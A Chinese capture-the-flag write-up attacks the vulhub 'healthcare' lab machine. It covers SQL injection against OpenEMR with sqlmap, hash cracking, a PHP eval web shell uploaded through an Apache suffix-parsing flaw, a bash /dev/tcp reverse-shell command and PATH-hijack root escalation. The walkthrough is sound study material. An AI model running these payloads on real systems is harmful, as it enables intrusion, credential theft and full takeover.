vulhub打靶记录——healthcare

文章目录

  • 主机发现
  • 端口扫描
  • FTP—21
    • search ProPFTd EXP
    • FTP 匿名用户登录
  • web服务—80
    • 目录扫描
    • search openemr exp
    • 登录openEMR 后台
  • 提权
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

netdiscover -i eth0 -r 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.3:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.3 

在这里插入图片描述
可见这台靶机,开放了端口:21(ftp,文件传输协议))、80(http,web服务)。

FTP—21

search ProPFTd EXP

searchsploit proPTFd # 搜索exp

尝试了1.3.3c和1.3.5的EXP,均失败。

在这里插入图片描述

FTP 匿名用户登录

尝试匿名用户登录ftp服务器:

ftp 192.168.151.3# 用户名为anonymous 密码为空

在这里插入图片描述
发现登录失败,该FTP服务器不允许匿名登录。

web服务—80

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

访问192.168.151.3/openemr,发现了一个后台登录程序,版本号为openEMR v4.1.0

在这里插入图片描述

search openemr exp

searchsploit openemr  # 搜索exp

在这里插入图片描述
发现该版本的openEMR存在sql注入。

searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行

在这里插入图片描述
在这里插入图片描述
最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1。基于改url,也可以直接用sqlmap,命令如下:

sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容

在这里插入图片描述
破解数据库密码
脚本拿到数据库密码后如何破解呢?用john the ripper

touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

要看具体哪个密文对应哪个密码,看.john/john.pot

获取用户名、密码:

admin ackbar
medical medical

登录openEMR 后台

拿到后台用户名和密码,直接登录
在这里插入图片描述
administered->file处发现一个文件上传点,经过测试不允许上传.php文件。
在这里插入图片描述
查看web服务的中间件版本,是apache 2.2.17,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。

最终的话可以拿到reverse shell。
在这里插入图片描述

提权

python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序

这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的,且具备SUID属性。
在这里插入图片描述
cat /usr/bin/healthcheck,出现乱码,说明是二进制程序。
在这里插入图片描述

也可以用file /usr/bin/healthcheck,查看文件属性。
在这里插入图片描述

strings /usr/bin/healthcheck查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash),就可以拿到root用户的shell。
在这里插入图片描述
/tmp目录,任何用户都写读写权限。

touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck

$PATH变量的值是一系列用冒号分隔的目录路径。例如:

$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin 

在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。

在这里插入图片描述
在这里插入图片描述

总结

  1. 端口扫描发现开放的端口;
  2. 目录扫描发现web网站的上下文,但是需要合适的字典;
  3. 发现openemr有漏洞,找到exp直接获取数据库密码;
  4. 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
  5. 寻找SUID程序/usr/bin/healthcheckstrings打印可打印字符,发现执行ifconfig,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/588316.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分享:搭建企微知识库简单易学步骤

说起企微知识库&#xff0c;可能有些人还不太清楚&#xff0c;为什么现在很懂企业选择搭建企微知识库&#xff1f;其实&#xff0c;企微知识库就是一个装满了企业的各种知识、经验和资料的载体。目的是为了方便员工随时查找和学习、有助于知识的传承和共享、加强团队协作和沟通…

Java SpringBoot中优雅地判断一个对象是否为空

在Java中&#xff0c;可以使用以下方法优雅地判断一个对象是否为空&#xff1a; 使用Objects.isNull()方法判断对象是否为空&#xff1a; import java.util.Objects;if (Objects.isNull(obj)) {// obj为空的处理逻辑 }使用Optional类优雅地处理可能为空的对象&#xff1a; impo…

文心一言 VS 讯飞星火 VS chatgpt (227)-- 算法导论16.3 9题

九、证明&#xff1a;对于一个由随机生成的8位字符组成的文件&#xff0c;没有任何压缩方法可以望将其压缩、哪怕只是压缩一位。(提示&#xff1a;比较可能的文件数量和可能的编码文件数量。) 文心一言&#xff1a; 确实&#xff0c;对于一个由随机生成的8位字符组成的文件&a…

分布式锁 — Redisson 全面解析!

前言 分布式锁主要是解决集群&#xff0c;分布式下数据一致性的问题。在单机的环境下&#xff0c;应用是在同一进程下的&#xff0c;只需要保证单进程多线程环境中的线程安全性&#xff0c;通过 JAVA 提供的 volatile、ReentrantLock、synchronized 以及 concurrent 并发包下一…

某眼实时票房接口获取

某眼实时票房接口获取 前言解决方案1.找到veri.js2.找到signKey所在位置3.分析它所处的这个函数的内容4.index参数的获取5.signKey参数的获取运行结果关键代码另一种思路票房接口:https://piaofang.maoyan.com/dashboard-ajax https://piaofang.maoyan.com/dashboard 实时票房…

每日一题(leetcode169):多数元素-哈希、随机、分治

哈希&#xff1a; class Solution { public:int majorityElement(vector<int>& nums) {int lennums.size();unordered_map<int,int> map;for (int i0;i<len;i){if(map.find(nums[i])map.end()){map[nums[i]]1;}else{map[nums[i]];}}int seqlen/2;int ansnu…

物联网行业中,我们如何选择数据库?

在当今数字化潮流中&#xff0c;我们面对的不仅是海量数据&#xff0c;更是时间的涟漪。从生产线的传感器到金融市场的交易记录&#xff0c;时间序列数据成为了理解事物演变和趋势的关键。在面对这样庞大而动态的数据流时&#xff0c;我们需要深入了解一种强大的工具——时序数…

1.Git是用来干嘛的

本文章学习于【GeekHour】一小时Git教程&#xff0c;来自bilibili Git就是一个文件管理系统&#xff0c;这样说吧&#xff0c;当多个人同时在操作一个文件的同时&#xff0c;很容易造成紊乱&#xff0c;git就是保证文件不紊乱产生的 包括集中式管理系统和分布式管理系统 听懂…

Vue3使用组件的计算属性代替v-for和v-if

Vue.js3组件的方法-CSDN博客 使用Vue3组件的计算属性-CSDN博客 Vue3组件计算属性的get和set方法-CSDN博客 Vue3组件计算属性的缓存-CSDN博客 在业务逻辑处理中&#xff0c;一般会使用v-for指令渲染列表的内容&#xff0c;有时也会使用v-if指令的条件判断过滤列表中不满足条…

剑指Offer题目笔记24(集合的组合、排序)

面试题79&#xff1a; 问题&#xff1a; ​ 输入一个不含重复数字的数据集合&#xff0c;找出它的所有子集。 解决方案&#xff1a; ​ 使用回溯法。子集就是从一个集合中选出若干元素。如果集合中包含n个元素&#xff0c;那么生成子集可以分为n步&#xff0c;每一步从集合中…

托管式 Kubernetes 服务,加速现代化云基础设施升级

降本提效&#xff0c;是创新开发的永恒话题。过去10年中&#xff0c;开发者纷纷拥抱容器技术以提高部署效率&#xff0c;降低运维负担。随着像 Docker 这类容器引擎使用量的不断增长&#xff0c;作为 Docker 管理系统的 Kubernetes&#xff08;简称 K8s&#xff09;顺势而出&am…

【Node.js从基础到高级运用】二十一、使用child_process模块创建子进程

引言 在Node.js中&#xff0c;child_process模块是一个提供了创建和管理子进程的能力的核心模块。通过使用child_process模块&#xff0c;Node.js可以执行系统命令、运行其他脚本或应用程序&#xff0c;实现与Node.js进程的并行处理。 child_process模块提供了几种创建子进程的…